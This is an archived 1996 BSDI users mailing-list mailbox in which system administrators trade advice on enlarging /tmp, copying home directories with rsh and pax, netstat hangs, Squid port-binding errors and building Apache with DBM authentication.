owner-bsdi-users@lists.gateway.com To: Tim Flavin cc: bsdi-users@BSDI.COM Subject: Re: [BSDI] Re: ISDN Date: Mon, 4 Nov 1996 14:49:38 -0800 (PST) On Mon, 4 Nov 1996, Tim Flavin wrote: [snip] > If you bill your clients by the hour, wouldn't it make more sence to bill > more hours for a BitSurfer than to take the 15 minutes tops to get an > Ascend box running? I guess I missed the smiley after the comment above... No, not if I want to continue to work for them. Steve Edwards sedwards@cts.com From VM Mon Nov 4 23:55:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1166" "Mon" "4" "November" "1996" "16:49:23" "" "Paul P. Demediuk" "demediuk@neuro.wustl.edu" nil "31" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA03059 for ; Mon, 4 Nov 1996 17:51:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA01023 for bsdi-users-outgoing; Mon, 4 Nov 1996 17:49:38 -0500 (EST) Message-Id: <199611042249.QAA19897@neuro.wustl.edu> Comments: Authenticated sender is Organization: Washington University - Neurology MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Paul P. Demediuk" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Mon, 4 Nov 1996 16:49:23 -600 > From: "Mike Grommet" > To: bsdi-users@BSDI.COM > Date: Mon, 4 Nov 1996 14:53:12 +0000 > Subject: ACK... /tmp is too small... how can I fix it? > Well, before I came to work for my current employer, > the bsdi box we use for ISP and webserver was already set up. > However due to my predicessor's shortsightedness, > the /tmp directory was created too small. This has been causing > a few problems here and there primarily when a user receives a > large email (usually some sort of attachment). > How can I make the /tmp file bigger without reinstalling > bsdi entirely? Or is it even possible? > You need to provide us more information. The /tmp directory can either be "mfs-based" (RAM resident), or it can be on a hard disk partition. Check out "man fstab", look at /etc/fstab.sample, and see page 48 of the Installation Guide. ________________________________________ Paul P. Demediuk Washington University School of Medicine Neurology - Campus Box 8111 660 S. Euclid Ave - St Louis, MO 63110 phone: 314-362-4206 fax: 314-362-9462 ________________________________________ From VM Mon Nov 4 23:56:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["921" "Mon" "4" "November" "1996" "17:58:51" "-0500" "Bill Hamel" "bill@hamel.net" nil "31" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA05013 for ; Mon, 4 Nov 1996 19:04:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA01161 for bsdi-users-outgoing; Mon, 4 Nov 1996 18:55:06 -0500 (EST) Message-Id: <3.0b28.32.19961104175850.006e6284@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: "Mike Grommet" , bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Mon, 04 Nov 1996 17:58:51 -0500 Mike, Been there :) - How about making a /var/tmp ( or whatever partition you like )and linking /tmp to it.... We did something like that awhile ago and it's been working fine. Regards, -bh At 02:53 PM 11/4/96 +0000, Mike Grommet wrote: >Well, before I came to work for my current employer, >the bsdi box we use for ISP and webserver was already set up. >However due to my predicessor's shortsightedness, >the /tmp directory was created too small. This has been causing >a few problems here and there primarily when a user receives a >large email (usually some sort of attachment). >How can I make the /tmp file bigger without reinstalling >bsdi entirely? Or is it even possible? > >Mike Grommet >System Administrator & Web Page Designer >Internet Solutions, Inc. >mgrommet@insolwwb.net >"As long as there are tests, there will always be prayer in schools." > -- Unknown, but probably a student :) > > From VM Mon Nov 4 23:56:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["25217" "Mon" "4" "November" "1996" "18:20:44" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "462" "Re: QIC-3095 format SCSI tape " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07472 for ; Mon, 4 Nov 1996 20:44:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA01270 for bsdi-users-outgoing; Mon, 4 Nov 1996 20:21:44 -0500 (EST) Message-Id: <199611050120.SAA16301@tao.bsdi.com> In-reply-to: Your message of "Sun, 03 Nov 1996 21:38:28 PST." <199611040538.VAA02357@pinnacle.bigrock.com> Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Cc: "Mark A. Lovell" Subject: Re: QIC-3095 format SCSI tape Date: Mon, 04 Nov 1996 18:20:44 -0700 Here's a patch for st.o, the SCSI tape driver, that will handle the HP/Colorado/Taravan tape drive. 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Thanks Roch From VM Mon Nov 4 23:56:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["549" "Mon" "4" "November" "1996" "21:20:00" "-0500" "Evan Champion" "evanc@synapse.net" nil "17" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08850 for ; Mon, 4 Nov 1996 21:29:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01405 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:20:26 -0500 (EST) In-Reply-To: <3.0b28.32.19961104175850.006e6284@chesco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Bill Hamel cc: Mike Grommet , bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Mon, 4 Nov 1996 21:20:00 -0500 (EST) On Mon, 4 Nov 1996, Bill Hamel wrote: > How about making a /var/tmp ( or whatever partition you like )and linking > /tmp to it.... We did something like that awhile ago and it's been working > fine. Don't use /var/tmp. /tmp is meant to be cleared on reboot, /var/tmp isn't. By linking the two, you incorrectly clear /var/tmp. Try /usr/tmp or another directory entirely. Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Mon Nov 4 23:56:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["511" "Mon" "4" "November" "1996" "21:23:32" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "16" "Re: need to kill a process, but it isn't listed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08854 for ; Mon, 4 Nov 1996 21:29:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01417 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:23:47 -0500 (EST) Message-Id: <199611050223.VAA16845@crystal.palace.net> In-Reply-To: from "Amy" at Nov 4, 96 01:56:09 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: root@internet-frontier.net (Amy) Cc: mikeg@rockisland.com, bsdi-users@BSDI.COM Subject: Re: need to kill a process, but it isn't listed Date: Mon, 4 Nov 1996 21:23:32 -0500 (EST) > > mikeg p0 calvin 8:07AM 2 w > > mikeg p2 nts20 Sun01PM 19:51 - > > > > [mikeg][cronus]: ps > > > > 26685 p0 Is 0:00.16 -csh (csh) > > 28242 p0 R+ 0:00.01 ps -ax > kill -9 26685 That's his current shell. The reported connection on ttyp2 will go away as soon as someone connects to it again; to force it, you can just telnet or rlogin into the machine two more times to get onto ttyp2. | Matthew R. Sheahan | | Crystal Palace Networking | From VM Mon Nov 4 23:56:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["864" "Mon" "4" "November" "1996" "18:48:09" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "33" "Re: rcp question " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08861 for ; Mon, 4 Nov 1996 21:31:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01427 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:29:51 -0500 (EST) Message-Id: <199611050150.SAA16483@tao.bsdi.com> In-reply-to: Your message of "03 Nov 1996 21:17:27 GMT." <55j258$5fl@nnews.vitinc.com> Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: epl@vitinc.com cc: info-bsdi-users@uunet.uu.net Subject: Re: rcp question Date: Mon, 04 Nov 1996 18:48:09 -0700 Ed Lafferty writes: >Regarding rcp and ownership / permissions.. > >Building new server and attempting to rcp complete system from >BSDI 2.0.1 to 2.1. When moving files such as /etc/raddb (Radius) >and passwd - master.passwd - /var/www/* - etc. everything goes OK. > >Have 2.0.1 passwd files and group files on new machine. > >When moving /usr/home/users - the permissions all revert to >root.wheel. Syntax I'm using is: > > rcp -Kpr admin:/usr/home/username /usr/home > >Kerberos is installed but not active. > >I realize I can chown -R username.user username to fix this - but >there must be a better way. > >I will be using rcp -Kpr admin:/usr/home/* /usr/home when I get >this right. > >What am I doing wrong..? > > I think you will get better results with something like # cd /usr/home # rsh admin "(cd /usr/home; pax -w .)"| pax -r -pe -Bill N From VM Mon Nov 4 23:56:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1072" "Mon" "4" "November" "1996" "20:28:41" "-0800" "Gary N. McKinney" "gmckinney@megabits.net" nil "29" "Re: route table corruption; netstat hangs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08869 for ; Mon, 4 Nov 1996 21:35:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01438 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:32:13 -0500 (EST) Message-ID: <327EC279.2435@megabits.net> Organization: MegaBits Computers, Inc. X-Mailer: Mozilla 2.02 (Win16; I) MIME-Version: 1.0 References: <3.0.32.19961103212258.006b1f10@mail.rmsbus.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Gary N. McKinney" Sender: owner-bsdi-users@lists.gateway.com To: chris michael CC: bsdi-users@BSDI.COM Subject: Re: route table corruption; netstat hangs Date: Mon, 04 Nov 1996 20:28:41 -0800 chris michael wrote: > > I'm running BSDI 2.1 and having a problem with routes. The default > route > seems to enter okay, but when you do any netstat command it hangs > after > the first line of output. Rebooting doesn't seem to help and the > default > route doesn't work. > > I don't know how this stuff actually works, but I'm wondering if the > route information gets compiled into a file somewhere that has become > corrupted? > > Any suggestions on how to clear this up would be gratefully > appreciated. > > --- > christopher michael*rms business systems* Try "netstat -n" ( the -n flag tells netstat to return the IP address only for the local and foreign column ). If that does not "hang" but it DOES "hang" if you try "netstat" then there is something not setup correctly in the DNS server for your domain ("netstat" by itself attempts to resolve the IP addresses to DNS names for the local and foreign address columns ). BTW: the definition of "hang" in this case means "takes a really long time to return"... Hope this helps...gm From VM Mon Nov 4 23:56:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1008" "Tue" "5" "November" "1996" "10:08:09" "+1100" "Ronny Cook" "ronny@tmx.com.au" nil "25" "Re: Argument list too long?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09410 for ; Mon, 4 Nov 1996 21:51:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01464 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:49:23 -0500 (EST) Message-Id: <199611042309.KAA11653@iguana.mhs.oz.au> Precedence: bulk From: ronny@tmx.com.au (Ronny Cook) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Argument list too long? Date: Tue, 05 Nov 96 10:08:09 +1100 I'm a little behind here, but nobody seems to have suggested the obvious solution... what we're after is a "(command) *", right, for some (command)? What's wrong with "ls -f | xargs command"? Of if you want to avoid doing . and .., say ls -f | grep -v '^[.]' | xargs chmod ug+w Results vs. find... /var/news/spool/control# time sh -c 'ls -f | xargs chown news' 8.65 real 0.58 user 7.91 sys /var/news/spool/control# time sh -c 'find . | xargs chown news' 9.31 real 0.69 user 8.67 sys Of course, chown here introduces some overhead, but that was deliberate - we want to test real work, not null jobs. (Null jobs are also faster.) In either case the margin is narrow, so use whatever suits you best. ...Ronny -- Ronald Cook, Technical Support - Message Handling Systems/The Message eXchange Email: ronny@tmx.com.au ----- Phone: +61-2-9550-4448 ---- Fax: +61-2-9519-2551 All opinions are my own and not those of TMX unless explicitly stated otherwise. From VM Mon Nov 4 23:56:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["44" "Mon" "4" "November" "1996" "17:53:24" "-0700" "Joe Ilacqua" "spike@indra.com" nil "3" "Re: Tyan NCR-825 and Symbios NCR-815 clock speed flags? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09415 for ; Mon, 4 Nov 1996 21:51:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01487 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:51:55 -0500 (EST) Message-Id: <199611050053.RAA00391@coke.indra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Precedence: bulk From: Joe Ilacqua Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: bsdi-users@BSDI.COM Subject: Re: Tyan NCR-825 and Symbios NCR-815 clock speed flags? Date: Mon, 04 Nov 1996 17:53:24 -0700 Thanks, seiing it to 40Mhz seems to help. From VM Mon Nov 4 23:56:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["451" "" "4" "November" "1996" "16:32:29" "-0800" "Anthony Talltree" "aad@nwnet.net" nil "9" "Re: Revised News Server specs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09423 for ; Mon, 4 Nov 1996 21:52:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01480 for bsdi-users-outgoing; Mon, 4 Nov 1996 21:51:30 -0500 (EST) Path: nwnet.net!not-for-mail Newsgroups: info.bsdi.users Organization: NorthWestNet, Bellevue, WA, USA, Earth Lines: 9 Message-ID: <55m1ut$cp1@olympus.nwnet.net> References: Reply-To: aad@nwnet.net Precedence: bulk From: aad@nwnet.net (Anthony Talltree) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Revised News Server specs Date: 4 Nov 1996 16:32:29 -0800 >> 3 Adaptec 2940UW Controllers (PCI) >> 2 with 2 X 4 Gig Seagate Barracudas (total 16 Gigs) >> 1 with 1 X 4G SB, and 1GB System drive, DAT Assuming that these are bus mastering devices, make sure that your motherboard can handle three at the same time. I've found that my existing Tyan and ASUS boards don't seem to, and are highly unstable with three Buslogics 946C's. I'm about to swap a Tyan Tomcat II into one of them to see if it helps. From VM Thu Nov 7 01:11:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["729" "Mon" "4" "November" "1996" "19:24:27" "-0800" "Greg Shenaut" "sonet!greg@ucdavis.edu" nil "17" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA14175 for ; Tue, 5 Nov 1996 00:40:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA01652 for bsdi-users-outgoing; Tue, 5 Nov 1996 00:24:34 -0500 (EST) X-Authentication-Warning: franc.ucdavis.edu: nuucp set sender to sonet!myrtle.bogs.org!greg using -f >Received: from myrtle.bogs.org (root@myrtle.bogs.org [198.137.203.39]) by asphodel.bogs.org (8.6.12/8.6.10) with ESMTP id TAA09654 for ; Mon, 4 Nov 1996 19:21:23 -0800 Message-Id: <199611050324.TAA17813@myrtle.bogs.org> In-reply-to: Your message of "Mon, 04 Nov 1996 17:58:51 EST." <3.0b28.32.19961104175850.006e6284@chesco.com> Reply-To: sonet!ucdavis.edu!gkshenaut@ucdavis.edu Content-Type: text Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: sonet!bsdi.com!bsdi-users@ucdavis.edu Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Mon, 04 Nov 1996 19:24:27 -0800 In message <3.0b28.32.19961104175850.006e6284@chesco.com>, Bill Hamel quoth: " How about making a /var/tmp ( or whatever partition you like )and linking " /tmp to it.... We did something like that awhile ago and it's been working " fine. One thing to consider about this is that until the /var partition is mounted, /tmp is unusable. This won't matter most of the time, but when you're not looking it might bite you in the a*se. Personally, I try to keep /tmp a directory, and then mount something on it later, such as a dedicated partition or a memory file system. Another approach is to make the root partition a little bigger--this or MFS would probably be the optimal choices on a small system such as a laptop. -Greg From VM Thu Nov 7 01:12:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["936" "Wed" "6" "November" "1996" "00:36:50" "+0530" "Kish Galappatti" "kish@millenniumit.com" nil "33" "Java and BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA15262 for ; Tue, 5 Nov 1996 01:20:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA01693 for bsdi-users-outgoing; Tue, 5 Nov 1996 01:11:39 -0500 (EST) Message-Id: <199611051906.AAA18343@fire.ncc-public.itmin.com> X-Sender: kish@coconut.millenniumit.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kish Galappatti Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Java and BSDI Date: Wed, 6 Nov 1996 00:36:50 +0530 hi there, can anyone give me some pointers on Java and BSDI?? 1. Is there a BSDI compatible version of the JDK? 2. Are any of the Java development tools such as Java Workshop or Internet Cafe available for BSDI or soon to be available?? 3. Is anyone currently doing any sort of development work on Java using BSDI as a platform? We are an internet solutions company and we currently develop in Java on Solaris, we want to move into a PC based environment and would really like to avoid using NT!! thanx, ---Kish Galappatti ___________________________________________________________________ "It is common sense to take a method and try it. If it fails, admit it frankly and try another. But above all, try something" Franklin .D. Roosevelt Kish Galappatti Interactive Internet Technologies, Voice : +94 1 607306 Email : kish@MillenniumIT.COM From VM Thu Nov 7 01:12:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2253" "Mon" "4" "November" "1996" "22:42:27" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "57" "Squid - just dies ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA19105 for ; Tue, 5 Nov 1996 02:47:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA03369 for bsdi-users-outgoing; Tue, 5 Nov 1996 02:36:48 -0500 (EST) Message-Id: <1.5.4.32.19961105034227.009a7f9c@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Squid - just dies ??? Date: Mon, 04 Nov 1996 22:42:27 -0500 when I start squid I get my pid number but as soon as I do another command on the keyboard squid crashes. Squid log at bottom of message. # /usr/local/squid/bin/squid & [1] 28939 Vector# cd /usr/var/log/squid [1] Exit 1 /usr/local/squid/bin/squid In the squid mailing list someone replied : >Maybe the port udp 3128 is already in use and squid can't bind, are you sure >you killed the squid process ?? You got to kill RunCache, not squid, or the >wrapper script start it again... How would I find out if the udp 3128 is in use and kill it if necesary in bsdi Thanks Roch --------------------------------------------------------------------------- cache.log ---------------------------------------------------------------------------- [03/Nov/1996:23:41:05 -0500] main.c:411: Starting Squid Cache version 1. 0.5 for i386-unknown-bsdi2.1... [03/Nov/1996:23:41:05 -0500] main.c:414: With 4096 file descriptors avai lable [03/Nov/1996:23:41:05 -0500] ipcache.c:211: Performing DNS Tests... [03/Nov/1996:23:41:05 -0500] ipcache.c:1105: Successful DNS name lookup test s... [03/Nov/1996:23:41:05 -0500] ipcache.c:1046: ipcacheOpenServers: Starting 5 'dns_server' processes [03/Nov/1996:23:41:05 -0500] neighbors.c:875: neighbors_init: Initializing Ne ighbors... [03/Nov/1996:23:41:05 -0500] filemap.c:137: file_map_create: creating space for 2097152 files [03/Nov/1996:23:41:05 -0500] store.c:1577: Rebuilding storage from disk im age in /var/log/squid/cache [03/Nov/1996:23:41:10 -0500] comm.c:189: commBind: Cannot bind socket FD 16 to 204.101.127.1:3128: (49) Can't assign requested address FATAL: Cannot open HTTP Port Squid Cache (Version 1.0.5): Terminated abnormally CPU Usage: user 0 sys 2 Memory Usage: rss 0 KB Page faults with physical i/o: 0 Roch Pageau ----------------------------------------------------------------- | System Administrator / Webmaster Internet Express | | 365 St. Joseph blvd. | | Hull, Quebec, Canada | |email: rpageau@inexpress.net J8Y 3X6 | |URL: http://www.inexpress.net Ph 1-819-776-0482 | | http://www.inexpress.net/~rpageau Fax 1-819-776-1145 | ------------------------------------------------------------------ From VM Thu Nov 7 01:12:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["530" "Tue" "5" "November" "1996" "15:18:48" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "14" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA19500 for ; Tue, 5 Nov 1996 02:58:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA03395 for bsdi-users-outgoing; Tue, 5 Nov 1996 02:54:37 -0500 (EST) In-Reply-To: Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 15:18:48 +1100 (EST) On Mon, 4 Nov 1996, Evan Champion wrote: > Don't use /var/tmp. /tmp is meant to be cleared on reboot, /var/tmp > isn't. By linking the two, you incorrectly clear /var/tmp. Try /usr/tmp > or another directory entirely. So what's wrong with clearing /var/tmp? And last I looked, /usr/tmp was /var/tmp anyway (at least, on the systems to which I have access). -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:12:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["436" "Tue" "5" "November" "1996" "00:36:43" "-0800" "Stephen Diercouff" "sgd@tfm.com" nil "13" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA20630 for ; Tue, 5 Nov 1996 03:48:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA03454 for bsdi-users-outgoing; Tue, 5 Nov 1996 03:37:10 -0500 (EST) Message-Id: <199611050836.AAA05985@mtbaker.tfm.com> In-reply-to: Your message of "Tue, 05 Nov 1996 15:18:48 +1100." Precedence: bulk From: Stephen Diercouff Sender: owner-bsdi-users@lists.gateway.com To: Dave Horsfall cc: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 05 Nov 1996 00:36:43 -0800 > So what's wrong with clearing /var/tmp? And last I looked, /usr/tmp was > /var/tmp anyway (at least, on the systems to which I have access). drwxrwxrwt 2 root wheel 512 Nov 5 00:35 /var/tmp/vi.recover --Stephen -- Stephen Diercouff, tfm associates, Eugene Oregon voice:+1 541 461 8928 Internet: sgd@tfm.com fax:+1 541 461 8929 Snail : P.O. Box 1244/Eugene OR 97440-1244 USA From VM Thu Nov 7 01:12:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["559" "Tue" "5" "November" "1996" "01:16:58" "-0800" "Mike Greene" "mikeg@rockisland.com" nil "20" "Apache & dbm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA21714 for ; Tue, 5 Nov 1996 04:27:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA03509 for bsdi-users-outgoing; Tue, 5 Nov 1996 04:17:12 -0500 (EST) Message-Id: <199611050916.BAA10091@cronus.rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Apache & dbm Date: Tue, 05 Nov 1996 01:16:58 -0800 I was wondering if the XTRA_LIBS= -lndbm is nessessary for BSDi, I need to have DBM Auth in a project I'm working on. Defining it gives a compile error. Below is a snippet from the src/Configuration file mentioning it, below that is the error I get when compiling Apache 1.1.1 # src/Configuration # # Place here any extra libraries you may need to link to. # -lndbm is commonly required for DBM auth, if that is configured in. EXTRA_LIBS= # # .o mod_auth_db.o mod_auth_dbm.o -lndbm ld: No such file or directory for libndbm.a *** Error code 1 Mike - From VM Thu Nov 7 01:12:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["273" "Mon" "4" "November" "1996" "18:34:53" "-0500" "system operator" "bsdi@mohawk.net" nil "12" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA21718 for ; Tue, 5 Nov 1996 04:29:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA03524 for bsdi-users-outgoing; Tue, 5 Nov 1996 04:26:53 -0500 (EST) In-Reply-To: <199611042037.OAA29312@ns.insolwwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Mike Grommet cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Mon, 4 Nov 1996 18:34:53 -0500 (EST) > How can I make the /tmp file bigger without reinstalling > bsdi entirely? Or is it even possible? % ll / [snip] lrwxr-xr-x 1 root wheel 8 Oct 28 05:15 tmp -> /var/tmp [snip] Read the man pages on ln to see how to do this. Now /tmp is as big as /var. - rh From VM Thu Nov 7 01:12:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["731" "Tue" "5" "November" "1996" "07:02:22" "-0500" "pferraro@wna-linknet.com" "pferraro@wna-linknet.com" nil "29" "Re: Apache & dbm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA25999 for ; Tue, 5 Nov 1996 07:14:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA03812 for bsdi-users-outgoing; Tue, 5 Nov 1996 06:56:54 -0500 (EST) In-Reply-To: <199611050916.BAA10091@cronus.rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: pferraro Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: Apache & dbm Date: Tue, 5 Nov 1996 07:02:22 -0500 (EST) Are you sure it is -lndbm and not -lbdm ? MAke sure the -lndbm .lib is there... On Tue, 5 Nov 1996, 